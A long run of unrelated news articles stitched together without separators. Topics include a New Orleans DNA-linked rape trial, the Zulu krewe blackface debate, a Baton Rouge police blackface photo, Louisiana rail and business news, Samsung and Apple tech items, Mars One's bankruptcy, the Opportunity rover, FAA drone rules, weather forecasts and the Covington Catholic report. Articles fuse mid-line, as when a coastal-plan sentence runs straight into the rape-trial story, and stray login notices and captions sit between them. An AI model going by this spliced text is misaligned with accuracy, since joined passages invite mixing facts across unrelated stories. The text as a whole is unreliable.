It is a key project in the state's 2017 Coastal Master Plan, a 50-year blueprint for helping to slow the pace of land loss along the state's coast.She walked to the witness stand with a prosecutors hand guiding the way  a much older woman than the 29-year-old who reported a rape to police in June 1992.

Still, on Tuesday she said there were some things she could never forget: the red shirt and jean miniskirt she wore as she waited for a bus near the former St. Thomas housing development. The fear she felt when a man forced her into an abandoned building, bound her hands with duct tape and assaulted her. And the voices of the young children playing outside who led her to safety.

My life has been destroyed, the woman said in a New Orleans courtroom. I waited too long to go through this.

The woman was one of four to tell police that they were raped in horrific encounters with a stranger who threatened their lives between 1992 and 2003.

Their cases went unsolved for years  and drew outright disbelief from police in one instance  until DNA matches linked all four of the cases. Arrest warrants for a man named Sherman Hampton were obtained in 2007 and 2008, and he was finally booked into jail in 2013.

Inside look at how New Orleans DA's Office unit uses DNA to crack years-old rape cases More than 30 years ago, a young woman told New Orleans police a harrowing story about an attack inside her home near the Tulane University campus.

Hampton's long journey to trial was delayed in June 2014 after doctors testified that he was mentally incompetent. He was found competent to proceed in March 2015 and again at a hearing last week, court records show.

Almost 27 years after the first case listed in an indictment, Hampton went on trial this week in Criminal District Judge Robin Pittman's courtroom. The 64-year-old faces an automatic life sentence if he is convicted on any of the four first-degree rape charges.

Assistant District Tiffany Tucker, the prosecutor who led the first accuser to the stand, told jurors that the case against Hampton is built upon solid DNA evidence.

The women from different parts of the city who never knew each other would now unite to accuse one man, she said.

The first woman who testified Tuesday dabbed her eyes with tissues as she recalled the attack. It has haunted her ever since, she said. She spent years abusing drugs and still sleeps in a different room from her husband.

In addition to the woman who said she was raped near the St. Thomas development, there was a second woman who said she was raped in the stairwell of a building in the 2100 block of Third Street in May 1995, a third woman who said she was raped in the 4200 block of Freret Street in April 2003, and a fourth woman who said she was raped in her home in the 2100 block of South Liberty Street in May 2003.

This is the person who did it, Tucker said as she gestured to Hampton. We finally, finally are able to give the victims answers as to what happened to them all those years ago.

Three months after the last attack, Hampton was arrested on an unrelated burglary charge. He pleaded guilty and received a 10-year sentence in 2004.

In his opening statement, defense attorney Greg Carter told the jury not to jump to conclusions despite the DNA evidence.

Suspected serial rapist booked in 4 New Orleans attacks, also probed in Kansas City For more than a decade, he raped strangers in New Orleans and Kansas City at gun or knifepoint, authorities believe.

I know TV, movies, popular culture  they all tell you that DNA evidence is infallible. ... Thats not correct. Thats not the truth, he said. The truth is that that man is innocent, and he did not commit these crimes.

Carter said there are no independent witnesses who could describe the attacker. Aside from the DNA collected during sexual assault examinations, there also is no forensic evidence, he said.

One woman has elected not to testify at the trial, leaving his client unable to confront her account, Carter said. Prosecutors said they will call the woman to whom that victim first reported the crime, under an exception to Louisianas rule against hearsay.

Carter also sought to poke holes in the accounts of the women who would testify, pointing out that one woman said her attacker was 5 feet 5 inches tall, while Hampton is 6 feet. Another woman said her back window was knocked out by the attacker, but police found no signs of it being disturbed.

DNA evidence is not infallible. Theyre humans, they make mistakes like anyone else, Carter said.While many of us share feelings of the heart this month, in honor of Valentines Day, hundreds of middle- and high-school students from the New Orleans area will celebrate their passion for science and mathematics.

About 300 students will display the results of scientific inquiry at the 63rd annual Greater New Orleans Science and Engineering Fair from Monday, Feb. 18, to Thursday, Feb. 21, at the Tulane University Lavin-Bernick Center, 29 McAlister Drive.

The fair is free to the public from noon to 1:30 p.m. Tuesday, Feb. 19, when middle school projects are available for viewing; and from 3:30 p.m. to 5:30 p.m. Wednesday, Feb. 20, and 9:30 a.m. to 11:30 a.m. Thursday, Feb. 21, when high school projects are shown.

The fair has encouraged independent student research in STEM (science, technology, engineering and math) since 1956. It's open to students nominated by middle and high schools within designated regions of Orleans, Jefferson, St. Bernard and Plaquemines parishes.

More than $65,000 in awards, grants and scholarships will be presented to students, teachers and schools from 7 p.m. to 9:30 p.m. Thursday, Feb. 21, at the Louis J. Roussel Performance Hall at Loyola University, 6363 St. Charles Ave.

Sixty category winners will be eligible to compete for state honors at the Louisiana Science and Engineering Fair to be held from March 18-20 at Louisiana State University in Baton Rouge.

New this year, the Joe W. and Dorothy Dorsett Brown Foundation is providing a $2,500 Aspiring Researcher Scholarship to a female high school student who demonstrates passion and promise for scientific research, in addition to the Bronze Sponsorship presented by the GNOSEF.

As part of a $48,000 donation from Paul and Patty Habeeb Muehlemann, scholarships will be given to senior and junior high school winners in the categories of chemistry and health sciences. A Gold-Level Sustainability Sponsorship in memory of founding member Dorothy Van Lue Habeeb, and in honor of Dr. Albert F. W. Habeeb, will help underwrite the fair and provide travel expenses for one student and one teacher to attend the Intel International Science & Engineering Fair in Phoenix.

This annual gathering of curious young students and dedicated STEM teachers serves as an educational platform for creating a brighter future for everyone in our community, said Annette Oertling, GNOSEF co-director. As we have for the past 63 years, we are committed to ensuring that students continue to seek collaboration with area students, scientists and engineers, while ultimately pursuing STEM careers.

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For information about the fair, including parking details, visit www.gnosef.org.

Heart Walk

Friends of Joe W. Brown Park and New Orleans East Hospital will present the ninth annual Back to Nature Heart Walk from 9 a.m. to 1 p.m. Saturday, Feb. 16, at the Audubon Louisiana Nature Center, 11000 Lake Forest Blvd., in eastern New Orleans.

The walk begins at the nature center and ends at the hospital, 5620 Read Blvd. Registration is $30. After the walk, there will be free health lectures and screenings, refreshments and door prizes.

A plaque will be awarded to the largest walking group.

For information, visit www.friendsofjoewbrownpark.org or call Tangee Wall at (504) 427-2596.

Happy Valentines Day

Feb. 14 is a day for sending flowers, candy, cards and other signs of love and appreciation. Hope you are among the remembered, and among the people who remember to thank someone.

Thank you for contributing community news throughout the year.The nation's sudden fixation with blackface hasnt escaped Chelsea Clinton. The former First Daughter took to Twitter on Tuesday to comment on a recent poll showing roughly a third of Americans still think its OK for a white person to blacken their face for Halloween.

The answer is no. Always no. Blackface is never acceptable. There are no Halloween exceptions, Clinton tweeted.

Agreed, one follower replied. Unless youre riding in Zulu.

It's a common response from members and fans of the Zulu Social Aid & Pleasure Club and its century-old tradition  a requirement, actually  for riders to wear blackface and grass skirts while handing out painted coconuts to the crowds on Fat Tuesday.

One is make-believe, the other is real life, said George Rainey, who will ride in blackface as King Zulu when the parade rolls on March 5. Weve been doing it for 115 years.

The notion that Zulu tradition trumps the odious symbolism of blackface from early 20th-century minstrelsy is all but a given in New Orleans. But as a blackface scandal rocks the Virginia statehouse and sends a nation digging through dusty high-school yearbooks, Zulu members are expecting greater scrutiny as Mardi Gras approaches.

Complicating matters is the makeup of Zulu itself: What began as an all-black Carnival krewe poking fun at an all-white Mardi Gras long ago opened its doors to white members and float riders who also "black up" for the occasion. These days, about one in five Zulu riders are white, many of them invitees who are not Zulu members.

The widening debate over blackface has left Zulu leaders bracing for a renewed public attack. Similar complaints nearly extinguished the krewe during the Civil Rights era.

Over the past few days, Zulu leaders and supporters  including U.S. Rep. Cedric Richmond, D-New Orleans  have been busy crafting a public statement from Zulu to explain the clubs history of parading in blackface. Zulus president, Elroy James, said Tuesday that he wasnt ready to release anything just yet.

But while Virginia Gov. Ralph Northam and the states attorney general, Mark Herring, cling to their posts after each admitted recently to having worn blackface, James said Zulu has yet to see a backlash.

In an unforgiving era, though, its not entirely clear that Zulu can escape attack, said state Sen. Troy Carter, D-New Orleans, a Zulu member for about two decades.

Its something thats in the now, and we should at minimum be prepared to fully explain, Carter said, so we can separate Zulu from what might be considered a racially insensitive act, from someone who meant it in a demeaning way.

According to Zulus official account and others, a group of black laborers formed a club called The Tramps at the dawn of the 20th century. They changed the clubs name and motif after attending a musical comedy at the Pythian Theater in 1909 that included a skit about the Zulu tribe.

During the earliest Zulu parades, King Zulu wore a lard can for a crown and a banana stalk for a scepter. By some accounts, members chose blackface because they couldnt afford masks.

Carter referred to Zulus use of blackface as a cultural expression paying homage to African tribes.

Its very much like you see the (Mardi Gras) Indians performing during Mardi Gras. Thats a very serious cultural expression, he said. This is not something you go trick-or-treating in. Its not satire at all. In fact, theres no satirical value. The intent is not to be funny. Its just the opposite.

Some accounts of Zulus history suggest far less reverence.

The simplest historical view of an old-fashioned Zulu parade is that, however it may have been to look at, it was merely a day-long drunk, New Yorker writer Calvin Trillin wrote in 1964.

In the 1960s, many black New Orleanians turned against the club, in part over concerns that Zulu's blackface was out of step with the times. Membership shriveled to as few as 16. But Zulu bounced back with surprising resilience, Trillin wrote in 1998, and part of that was inviting in white members.

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What had once been considered a sort of moving Amos n Andy show that would eventually crumble under the pressure of respectable black people, Trillin wrote, had changed over the decades. It grew more lavish and, somehow, more acceptable, with the inclusion of black professionals and politicians and a number of white people.

Doratha Dodie Smith-Simmons, 75, who participated in the Freedom Rides, said she grew up attending "black Mardi Gras" on Claiborne Avenue.

"I think back then Zulu was making a mockery of Rex and all the other white krewes, she said. At one point there was some opposition to the Zulus doing blackface. Back then it didnt really matter to me.

Adding white riders didnt change the meaning, she said.

It started off being a totally black organization; this is blacks painting their face black. So theres a bit of a difference. The whites who chose to be part of Zulu are just carrying on the tradition.

Some scholars of the countrys racial history are not so forgiving of blackface in any context.

Samuel Black, director of the African American Program at the Heinz History Center in Pennsylvania, argued that any original meaning that conjured African tribal ritual has morphed into something else when it comes to blackface.

When you begin to have people that dont have the understanding, the appreciation of those traditions, who only copy what they see, its like a bastard rendition of something, he said.

Black offered a parallel.

If there was a Jewish person making fun of the Holocaust, they would be ostracized," he said, "and it should be the same way in the African-American community.

Errol Laborde, editor and publisher of New Orleans Magazine and a Mardi Gras historian, said blackface was totally appropriate when the founders of Zulu started masking.

There wasnt any hostile meaning. They were honoring the legacy of the Zulu tribe, Laborde said. The original Zulu parades were a spoof, but more of a spoof of white Mardi Gras. Thats where the poking fun was. Poking fun at whites.

Still, Laborde paused when asked how he might explain Zulu blackface to an outsider now.

I wouldnt try to explain it to an outsider, he quipped, then added, Id say its Carnival. Youre going to see a lot of people making fun of other people. Its part of the costuming, part of the masquerade.

Trimiko Melancon, director of the African and African-American Studies program at Loyola University, noted the exclusion of blacks from Mardi Gras krewes before Zulu was formed. She described the masking by Zulu members as subversive.

The ways in which they mask the face and the hair and adorn the body is, No. 1, they are challenging and mocking white-created stereotypes and caricatures of black folks in the American landscape, Melancon said.

The question now, she said, is whether you arrive at a moment in which these dynamics no longer operate in a particular type of spirit. Part of the question we have to ask is: Does it have the same effect?

Carter, the state senator and Zulu member, said it's now up to the club to defend itself from criticism.

I think its an issue that needs to either be completely explained and put into its proper perspective," he said, "or its a practice we should revisit.St. John the Baptist Parish officials expect next month to unveil plans for a passenger train station in LaPlace, one of the targeted stops of a long-discussed high-speed rail system connecting New Orleans and Baton Rouge.

A resolution passed at Tuesday nights Parish Council meeting authorized Parish President Natalie Robottom to sign a grant extension with the Southern Railway Commission, which is working with the parish to try to get the project approved by the Federal Railroad Administration.

Robottom said additional time is needed for that approval to happen, partly because of the recent federal government shutdown.

Should the project come to fruition, its expected to offer a transit stop on Main Street in LaPlace, as well as free parking, pedestrian walkways and green spaces.

Whether the rail system will ever get built is still an open question, however. The idea has been discussed for years, with a price tag estimated at $260 million for the state, though Southern Railway Commission Chairman John Spain has suggested getting federal grants to cover the project.

The skepticism hasnt stopped planning in communities along the route, though.

In September, Gonzales unveiled a plan for a $5.8 million, 300-foot-long, open-air platform, with an enclosed passenger waiting area and possibly a public plaza.

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A price estimate hasnt been set yet for a LaPlace station, which would join Gonzales, downtown Baton Rouge, suburban Baton Rouge, Louis Armstrong New Orleans International Airport in Kenner and Union Passenger Terminal in New Orleans as stops along the route.

There could be up to eight round trips on the line per day, with trains moving at a maximum speed of 110 mph, a St. John Parish spokeswoman said.

Officials already know what people in the area are hoping for from such a rail line, thanks to a survey done in May 2018. Of the 378 residents questioned in the survey, 45 percent said they work in an area potentially served by the proposed line.

As for reasons people would use the high-speed line, outside of work, 93 percent said theyd use it to go to a sporting event or concert, 79 percent said for Mardi Gras parades and 74 percent said for dining out.

Sixty percent of respondents also said they envisioned the train station as a town center and community hub, with restaurants, shopping areas and even a farmers market.

Tuesday night also marked the first Parish Council meeting held in the new $10 million parish administrative building thats now home to almost all St. John government operations. Meetings were previously held next door at the Percy Hebert Building, constructed in the 1960s.Our Views: What Louisianas Hale Boggs might teach us about collaboration in a crisisAfter the Baton Rouge police chief apologized for a 1993 photo of two officers in blackface for an investigation, CNN anchor and Baton Rouge native Don Lemon weighed in, saying the chief was right to apologize and call the photos "inappropriate."

The police department has explained that the photo was related to an undercover narcotics operation from 25 years ago  one the police chief at the time recalled as very successful  current Baton Rouge Police Chief Murphy Paul issued an apology Monday about the photo.

1993 photo of white Baton Rouge police officers in blackface surfaces; chief apologizes, mayor responds A photo of two white Baton Rouge police officers covered in dark make-up  snapped before a 1993 undercover drug sting in a predominantly blac

Paul said in a statement that blackface photos are "inappropriate and offensive" both in 1993 and today.

"The chief is right," Lemon said on CNN, after referencing The Advocate's coverage and the chief's apology. "Inappropriate then, inappropriate now. So alright listen, can we all just admit that blackface is wrong and can we just stop it? I am sick of talking about it. I really am. It is a huge problem, but I'm sick of talking about it and I'm sure you're sick of hearing about it."

An Advocate story in 1993 about the operation noted there were seven undercover police officers involved. Crimestoppers coordinator Lt. Don Stone and now-retired police Capt. Frankie Caruso dressed up to appear black because the two black narcotics officers on the force at that time were too well known and easily recognized in the community, the officers said then.

The photo, which was posted online this weekend by The Rouge Collection, shows Stone and Caruso, posing above a caption that says 'Soul Brothers.'

"The caption of the photo doesn't mention the nature of that operation," Lemon said. "It just says 'soul brothers,' somehow making the whole thing even more bizarre."

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At one point in the newscast, Lemon reads from a 1993 article from The Advocate where one of the officers commented on the costumes.

"One of the officers in blackface even boasted to the newspaper about his racist disguise. He said 'not only do they not know we're cops, they don't even know we're white!' And yes, there is no way anyone could've missed that these were in fact not black people," Lemon said, breaking out in laughter.

Lemon ended the newscast by sharing what he thinks is "the moral of the story" and what will make a difference.

"The police chief should have apologized for the lack of diversity in the department back then and that anyone would even fathom that putting white officers in blackface was a good idea, let alone a tool for law enforcement. You know what would've been sufficient here? Black officers."

+2 After decades under consent decree, BRPD racial makeup still doesn't reflect city's population The Baton Rouge Police Department remains far from reflecting the racial makeup of the city its officers serve, despite decades of federal ove

He then refereed to a July article from The Advocate about the Baton Rouge Police Department's lingering federal consent decree from 1980. Despite that consent decree, the department remained far from reflecting the racial makeup of the city of Baton Rouge, according to the July article.

About 55 percent of residents of Louisiana's capital city are black, but only about 33 percent of BRPD officers are black, according to the city's most recent report to the U.S. Department of Justice. And of the 643 officers employed by BRPD, only about 9 percent are women. The majority of officers are white men, the statistics show.

"That's the real issue here," Lemon said. "So let's learn from the past, correct it in the future. You know who can see those guys are white, cmon man."Purchases made via links on our site may earn us an affiliate commissionWASHINGTON (AP)  The head of the Federal Emergency Management Agency is resigning, months after an investigation found he misused government vehicles to travel to his home in North Carolina.

Brock Long said in a letter Wednesday to agency employees that he was resigning to spend more time with his family.

Long was under investigation by the Homeland Security Department's watchdog, and word of it leaked just as Hurricane Florence struck last fall. Officials found he misused vehicles, but Long was not asked to resign, and he agreed to reimburse the government.

Homeland Security Secretary Kirstjen Nielsen says he led the agency admirably for two years through six major hurricanes and five historic wildfires.

Deputy Administrator Pete Gaynor will become acting head of the agency.Time might not be on Jason Holloways side. The same could be said about his girlfriend, Katrina LeJeune.

Holloway, who owns OBs Bar and Grill in Lake Charles, is working to open an OBs in Lafayette at 307 Jefferson St. by Mardi Gras Day at the latest.

LeJeune, who is pitching in to help, is nine months pregnant and scheduled to give birth to their baby boy, Ezra, on Thursday.

Detailing everything, getting inspections and getting it up to code will be a challenge, said Holloway, a native of Chapel Hill, North Carolina, who bought OBs about three years ago. "Here, from the government to the people around it, everybody is so helpful. If we get it open, its going to be because of that.

Activity was steady Tuesday at what will become downtown Lafayettes newest restaurant. Located in the space formerly occupied by The Office, OBs (which stands for Old Bastard's) will be similar to the Lake Charles location, near that citys downtown.

The Office is moving to a new location across Jefferson Street.

I inquired about it through the people at The Greenroom, Holloway said of the nearby downtown bar. Those guys have been magnificent to deal with. They helped me broker the deal for here.

"Lafayette has such a beautiful downtown. I feel like its on the upside, and I want to be a part of it.

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Holloways plans for the 6,000-square-foot location will be similar to the Lake Charles location. One idea is locating the kitchen on the front of the building and including a window for take-out orders.

He also will keep the bar near the front along with other details of the historic building. The business will employ 12 people.

Were going to embrace the antiqueness of the building, he said. Were really just going to kind of enhance that look with updated lights. Kind of match the decor of the old and tie it all in with the old and the new.

The move to Lafayette is the third step in the Holloways business journey, which began when he arrived in Louisiana just after Hurricane Rita in 2005. Hes been in the bar business for years, and six years ago, he took a chance and bought On The Rocks Bar and Pizzeria in Lake Charles.

Ive been in the bar business pretty much my whole life, he said. The bar business is great when its going well. You meet a lot of people and get connected to a lot of people in the community.

The whole 8 to 5 (workday) was not for me. Someone like me, Im out the door by 12. Now with the new baby, Ill probably be out the door by 8.Note: We've recently updated our online systems. If you can't login please try resetting your password. You must login with an email address. If you don't have an email associated with your account email please call (208) 542-6777 for help.The San Juan Wilderness Act proposes to designate some 31,000 acres of wilderness areas near Telluride, Norwood, Ouray and Ridgway as new wilderness, including Wilson Peak. Above, Wilson Peak, seen from Wilson Mesa. (Planet file photo)The above photo shows the location and size of a solar array proposal that the San Miguel County Planning Commission will consider today (Wednesday). (Courtesy photo)Two Senate bills were introduced last week to amend the "Anti-Sanctuary City Law" that came into effect in at the beginning of this year. Republicans in both houses stated the practice of sanctuary cities breaks federal regulations on immigration.Samsung is already allowing its fans to reserve a Galaxy S10, which is scheduled to arrive by March 8.

The best part is, the company is giving those who do a lot of perks.

First Galaxy S10 Deal

Those who sign up early for the Galaxy S10 will stand to get up to $550 off it if they trade in an eligible device.

More than that, they can receive spending money for accessories in the form of instant credits worth $50. This can be used toward, say, a case to go with the Galaxy S10 or maybe a discount on the new truly wireless Galaxy Buds, which is the successor of the Gear IconX.

Now to join in the program, just head on over to the Samsung webpage and fill out the form. It requires a first name, last name, email address, and a zip code. There, users get to choose the carrier of their choice: Verizon, AT&T, T-Mobile, Sprint, and U.S. Cellular. An unlocked variant is also available.

Eligible Devices

Notably, customers can get the full $550 trade-in value with a Galaxy Note 9, Galaxy S9 Plus, Galaxy S9, iPhone XR, iPhone XS, iPhone XS Max, iPhone X, iPhone 8 Plus, iPhone 8, LG V40, Pixel 3, or Pixel 3 XL.

On the other hand, the Galaxy S8 lineup, iPhone 7 Plus, iPhone 7, LG G6, Pixel 2, and Pixel 2 XL will get buyers $300 off their purchase.

The full list of eligible devices is available on the aforementioned page.

The Fine Print

Just to be clear, submitting a form and making a reservation won't lock customers in a purchase. What they'll be getting is early access to preorders, presumably right when the option to do so goes up.

The reservation period is going from Feb. 2 to 20 on the website and Feb. 21 to March 7 via the Samsung App. Participating users have 72 hours to place an order once preorders go live, and needless to say, their reservation will be canceled if they fail to do so.

Samsung is scheduled to officially unveil the Galaxy S10 on Feb. 20 at its Unpacked Event, and it's expected to take the wraps off its first foldable phone, known as Galaxy X or Galaxy F, there as well.

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.Mars One, the startup that wanted to send a team to the Red Planet by getting funding through a reality television show, has gone bankrupt.

Mars One Declares Bankruptcy

The fate of the ambitious company was revealed this week on Reddit. A user posted a link to financial documents suggesting that Mars One was set to be liquidated.

Mars One Ventures, the for-profit arm of the mission, was declared bankrupt by a Basel Court in Switzerland on Jan. 15. The news was confirmed by the company's founder, Bas Lansdorp, to Engadget.

Meanwhile, the non-profit Mars One Foundation, according to Landorp, is still in operation, but it will not be able to continue without further funding.

Landorp refused to divulge further information about the demise of Mars One. He, however, stated that he is currently working with other parties "to find a solution."

Mars One's Doomed Mission To Mars

Mars One started grabbing headlines in 2012 when the company revealed its crazy plan to send humans to Mars in 2020s. Founded by Lansdorp, who also founded the green energy company Ampyx Power, and Arno Wielders, who previously worked with the European Space Agency, the company wanted to fund the long journey to Mars through reality television.

The company planned to document every step of the journey to Mars, including the selection of astronauts and their training. The company will also televise the crew's departure, their journey in deep space, their arrival at the Red Planet, and their life in their new world.

However, Mars One met intense criticisms. In 2014, MIT produced a report on the feasibility of the mission, warning that the first settlers will die after only two months in the Red Planet. The researchers predicted that the habitats would fail and the astronauts would suffocate.

Still, in 2015, the startup announced the final 100 volunteers who will undergo training for the mission to Mars.

In the subsequent years, Mars One pushed their planned manned launch further back. The company's website says that a demonstration mission to Mars is scheduled in 2022. By 2031, the first crew will begin their journey to the Red Planet.

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.The cryptocurrency mining boom has died down quite a bit, but a few smaller mining operations are still working away throughout the world.

One such small-scale operation is run by Rob Butvila, a resident of Adelaide, Australia - and it's clear he has done his research.

The setup is seemingly optimized to maximize airflow and keep his mining machines cool (courtesy of an in-depth ventilation system) while they work. Unfortunately for Butvila, it seems his system may have been a bit too good in the end.

In a video uploaded Sunday, Butvila revealed that Adelaide officers working out of the South Australia Police Department had forcefully broken into his home (damaging his property in the process) using a "General" search warrant.

Expecting to find a marijuana grow operation, police instead found Butvila's cryptocurrency mining rigs.

Expecting to find a marijuana grow operation, police instead found Butvila's cryptocurrency mining rigs.

For the unaware, crypto mining setups tend to generate a fair amount of heat and noise, while also gobbling up electricity at a rapid rate. Due to this, they can at times resemble a marijuana grow.

To make matters worse for Butvila, the police department responsible for the break-in was "unhelpful" and hung up on him when he called to request compensation for the damage done to his property.

Butvila also says the officers who searched his property left his gates and doors unlocked, which allegedly allowed a criminal to enter his home and swipe a hard drive (also disabling his security camera).

We'll be keeping our eye on the situation moving forward, and we will update this article if it develops any further.History lesson: Earth has sent a total of seven rovers to Mars, but only the four launched by the United States can be considered successful missions. The Soviet Union was the first to send rovers to the Red Planet. It deployed two in 1971, but both failed to transmit any data. The UK sent up Beagle 2 in 2003 but lost it shortly after it exited the lander.

It appears that NASAs Mars rover Opportunity is dead. Mars scientist Dr. Tanya Harrison tweeted that the last commands sent to the rover were met with silence. NASA will be holding a press conference (below) at 2 pm EST to discuss what this means and answer questions.

If the reason for nonresponse is a power failure, Opportunity is doomed. Winter on Mars is approaching, and without functioning heaters, the rovers components will not make it through the frigid conditions.

It is unclear what has happened to Opportunity, but it is likely that its solar panels are failing due to dust. Back in June 2018, it sent back a signal indicating that a dust storm was approaching. Its solar panels became obscured, and there was a concern with a draining power supply.

Operators gave it a command to respond once the storm cleared, but received no reply. The space administration has made several attempts to reestablish contact with no success. They fear that the dust storm has caused irreparable damage to the rover.

Spent the evening at JPL as the last ever commands were sent to the Opportunity rover on #Mars.



There was silence. There were tears. There were hugs. There were memories and laughs shared.#ThankYouOppy #GoodnightOppy pic.twitter.com/JYRPtKZ8T5  Dr. Tanya Harrison (@tanyaofmars) February 13, 2019

Opportunitys mission was not a complete loss though. The rover first landed on Mars in 2004 and was only expected to send back information for 90 days. Fourteen years later it was still transmitting Martian data including some of the most spectacular photos of the Red Planet ever captured. It was also responsible for sending back evidence that proved oceans of water had once existed on Mars.

It is only one of four rovers that the United States has dispatched to the fourth planet from the sun. Of the other three robotic vehicles only one, Curiosity, is still functional. Two more rovers, ExoMars and Mars 2020, are almost ready to launch. NASA Also has the InSight lander, which is a stationary science station used to study Martian geology including earthquakes. So while Opportunity has now joined Sojourner and Spirit as Martian junk heaps, the exploration of Earths sister planet will continue.Rumor mill: A premium news service from Apple could ask publishers to give up half of their earnings. Paid subscriptions though the iOS news app could roll out as early as March 25.

Smartphone makers are scrambling for ways to increase revenue now that they have realized consumers are not interested in buying new $1,000 devices every single year, or even every two years. Apple is trying to boost its revenue from services, and its next major introduction is expected to be a paid news subscription through the Apple News app on iOS.

A premium news subscription could cost around $10 per month, the same that Apple Music currently costs. Compared to online newspaper subscriptions and well known news sites, the cost is not unreasonable, especially by Apple's pricing standards.

However, publishers are reportedly throwing a fit over the terms that Apple has laid out for posting their work. Cupertino wants to "keep about half of the subscription revenue" generated by publishers. Calling it the Netflix of news, Apple's hefty fee may send content providers running. The New York Times and Washington Post are two of the big names objecting to Apple's terms.

In addition to asking for a revenue cut that is way higher than what App Store publishers must pay, Apple is also asking for select publishers to commit to using the news platform for a minimum of one year. Developers are already calling for App Store fees to be reduced, so why would publishers give in to even worse revenue sharing? Should the news service take off as a success, offering a year's worth of support is easy. Asking for longer term commitment of support on an untested service could be problematic for those that cannot afford to take a loss if it turns out engagement is low.

Apple is holding an event on March 25 that is believed to be the day when the new news service will officially debut. If that turns out to be the case, Apple has little time to waste in striking a better deal with major content providers.In brief: The Federal Aviation Administration (FAA) will be requiring drone owners to place their registration number on the outside of drones. The agency says this will help law enforcement and first responders identify drones easily and avoid danger from any concealed explosive devices tucked into the battery compartment.

Previously, the registration number could be housed within the battery compartment as long as no tools were needed to open it. A preview of the new rule was posted on the Federal Register and will go into effect on February 23rd.

Today, certain kinds of drones have to be registered with the FAA for legal operation. Although the initial registration program was created in 2015, a federal court Washington D.C. struck down the rules in 2017, which it says were in violation of the FAA Modernization and Reform Act. However, the rules were reinstated as part of the National Defense Authorization Act of 2018 which was signed into law by President Trump.

"The FAA is taking this action to address concerns expressed by the law enforcement community and the FAAs interagency security partners regarding the risk a concealed explosive device poses to first responders who must open a compartment to find the small unmanned aircrafts registration number."

While the public technically has 30 days to comment, the FAA is fast-tracking implementation to just 10 days. The agency claims that the Administrative Procedure Act allows it to enforce the rule early due to the fact that "first responders could be exposed to additional risk during the notice and comment period as a result of the attention drawn to the vulnerability."

The commercial drone market is predicted to be worth about $8.7 billion by 2021. The massive popularity of drones doesn't seem to be tapering off as more people find interesting ways to use them. Intel, for example, used more than 1,200 drones to put on a light show at the 2018 Winter Olympics. Dutch researchers created a drone that resembles a fruit fly. Amazon wants to eventually deliver your packages via drones that also respond to your movements.

Unfortunately, government officials are still trying to determine how to deal with people flying drones in places they're not supposed to. In Atlanta, owners who flew their drones too close to Mercedes-Benz Stadium had their drones confiscated after the FAA enacted a temporary flight restriction around the stadium in preparation for the Super Bowl. Most recently, drone sightings shut down the UK's Gatwick Airport and prompted the airport to install a military-grade anti-drone defense system.In brief: It was only yesterday that we reported that Martian-colony startup Mars One had gone bankrupt. Now it seems to have found a mystery investor that is looking to pull the project out of the hole.

On Monday, court documents revealed that Mars Ones money had dried up. CEO Bas Lansdorp confirmed that the project to colonize the Red Planet and broadcast it as a reality show was bankrupt, but added that he was looking for investors to revive the idea.

Apparently, at least one generous backer heard the news and is reportedly in talks to at least pay off Mars Ones $1.1 million of debt, notes Engadget. The negotiations are also hoping to gain capital to re-inject the promotion of the reality series, which was what was supposed to fund the project in the first place.

"Who'd choose to bankroll a defunct startup that's been on the receiving end of criticism over the scientific and financial viability of its colony is anyone's guess."

Perhaps unsurprisingly, the idea failed with one insider calling the whole thing a scam, an allegation Lansdorp flatly denied.

The name of the investor is not being released at this time. However, the benefactor will be holding a press conference on March 6 to officially announce its intentions and what agreements have been made with Mars One. Early estimates put the project's price tag at around $6 billion. Lansdorp has remained quiet on updated estimates.

Financial troubles are not the only obstacle that the company has facing it. German regulators fined the company over $450,000 in two separate stock exchange violations, which the company never paid. It was subsequently removed from the exchange.

It is unclear at this point if the savior investor will be enough to recharge the project and get it up-and-running again, but well hear more in just a few weeks.Today

Sun and clouds mixed. High 94F. Winds S at 5 to 10 mph.

Tonight

A few clouds. Low 76F. Winds SSE at 5 to 10 mph.

Tomorrow

Mostly cloudy skies early will become partly cloudy later in the day. A stray shower or thunderstorm is possible. High 91F. Winds S at 10 to 15 mph.Seminole, FL (33772)

Today

Thunderstorms, accompanied by locally heavy rainfall at times. High around 90F. Winds N at 5 to 10 mph. Chance of rain 90%..

Tonight

Thunderstorms early, then cloudy skies after midnight. Low 74F. Winds ENE at 10 to 15 mph. Chance of rain 80%.Services for Employers

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If your business is to be successful you need to compete, and to compete successfully you need to train your employees. For businesses, getting the right skills advice is essential for choosing the best and most appropriate training. Tameside College helps you do this by providing a service that ensures that both the training and the skills advice are flexible, responsive and offered at a time and place to suit your business.

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Latest News from Tameside CollegeAn investigation released Wednesday into an encounter between Covington Catholic High School students and Native American activists at the Lincoln Memorial last month largely supports the students accounts of the incident, which prompted immediate and widespread condemnation of the boys after a video of the encounter went viral.

A short video clip showed Native American Nathan Phillips, playing a traditional drum and in an apparent standoff with a smiling student, Nick Sandmann, who was wearing a "Make America Great Again" hat. The Diocese of Covington and Covington Catholic High School, a Kentucky private school which arranged the trip, were among those who initially condemned the boys' actions in the video.

The report, prepared by Greater Cincinnati Investigation, Inc. and dated Feb. 11, employed four licensed investigators for approximately 240 hours to take statements from students and chaperones, as well as to interview third-party witnesses and review about 50 hours of video. Investigators were not able to interview either Phillips or Sandmann in person and instead reviewed the student's written account.

The investigators said they found no evidence that the students responded in an offensive manner to the Black Hebrew Israelites or that they chanted "Build the Wall." After asking chaperones, they performed a school cheer, according to the report, to drown out the Black Hebrew Israelites.

Other key findings include testimony that the students felt "confused" by Phillips' approach. Investigators said they found no evidence of "racist or offensive statements by students to Mr. Phillips," though some performed a "tomahawk chop."

According to the report, one of the chaperones told students that if "they engaged in a verbal exchange with the Black Hebrew Israelites, they would receive detention when returning to school."

According to the report, most boys bought the red hats bearing President Donald Trump's MAGA slogan in Washington, D.C., on the day of the March for Life. In previous years, some students bought "Hope" hats in support of President Barack Obama, the report says.

The Bishop of Covington welcomed the report in a statement on the diocese's website. Roger Foys wrote that he was pleased "that my hope and expectation expressed in my letter to you of 25 January that the results of our inquiry ... would 'exonerate our students so that they can move forward with their lives' has been realized."

In a joint statement with the school, the diocese denounced the boys' behavior the day after the march, calling it "opposed to the Church's teachings on the dignity and respect of the human person."

"We condemn the actions of the Covington Catholic High School students towards Nathan Phillips specifically, and Native Americans in general," the statement read.

Foys later wrote that he was "bullied and pressured into making a statement prematurely" and that it is "important for us to gather the facts that will allow us to determine what corrective actions, if any, are appropriate."

The report does not provide any recommendations for future changes, such as banning political attire or changes to chaperone protocol. Many people were critical that the adults in charge did not intervene more forcefully to avoid or end the interactions.

